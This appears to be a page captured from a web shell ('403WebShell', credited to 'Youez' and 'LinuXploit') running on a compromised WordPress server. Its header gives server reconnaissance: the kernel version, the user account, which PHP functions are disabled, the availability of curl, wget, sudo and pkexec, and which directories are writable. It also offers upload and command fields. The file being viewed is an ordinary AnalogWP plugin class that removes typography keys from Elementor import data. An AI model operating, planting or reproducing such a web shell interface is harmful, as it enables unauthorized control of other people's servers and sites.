Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 104.21.25.182  /  Your IP : 216.73.216.226
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/analogwp-templates/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/analogwp-templates/inc/class-formatter.php
<?php
/**
 * Format content during Elementor import.
 *
 * @package Analog
 */

namespace Analog;

/**
 * Elementor Formatter.
 *
 * @since 1.1
 */
class Formatter {

	/**
	 * Returns the list of keys to reset values of.
	 *
	 * @return array
	 */
	private static function get_reset_keys() {
		$resetters = array(
			'', // important as original list removes data as well.
			'content',
			'name',
			'title',
			'job',
			'description',
			'heading',
			'message',
			'caption',
			'tab',
			'view_cart',
			'price',
			'old_price',
			'label',
			'field',
			'button',
		);

		$list = array(
			'typography_typography',
			'typography_font_family',
			'typography_font_size',
			'typography_font_size_mobile',
			'typography_font_size_tablet',
			'typography_font_style',
			'typography_font_weight',
			'typography_line_height',
			'typography_line_height_mobile',
			'typography_line_height_tablet',
			'typography_letter_spacing',
			'typography_letter_spacing_mobile',
			'typography_letter_spacing_tablet',
			'typography_text_decoration',
			'typography_text_transform',
		);

		$keys = array();
		foreach ( $resetters as $reset ) {
			foreach ( $list as $item ) {
				if ( '' === $reset ) {
					$keys[] = $item;
				} else {
					$keys[] = $reset . '_' . $item;
				}
			}
		}

		return $keys;
	}

	/**
	 * Strip off Typography specific data.
	 *
	 * @param mixed $haystack Elementor import data.
	 * @return mixed
	 */
	public static function remove_typography_data_recursive( $haystack ) {
		if ( is_array( $haystack ) ) {
			foreach ( self::get_reset_keys() as $key ) {
				unset( $haystack[ $key ] );
			}
			foreach ( $haystack as $k => $value ) {
				if ( is_array( $haystack ) ) {
					$haystack[ $k ] = self::remove_typography_data_recursive( $value );
				}
			}
		}
		return $haystack;
	}
}

new Formatter();

Youez - 2016 - github.com/yon3zu
LinuXploit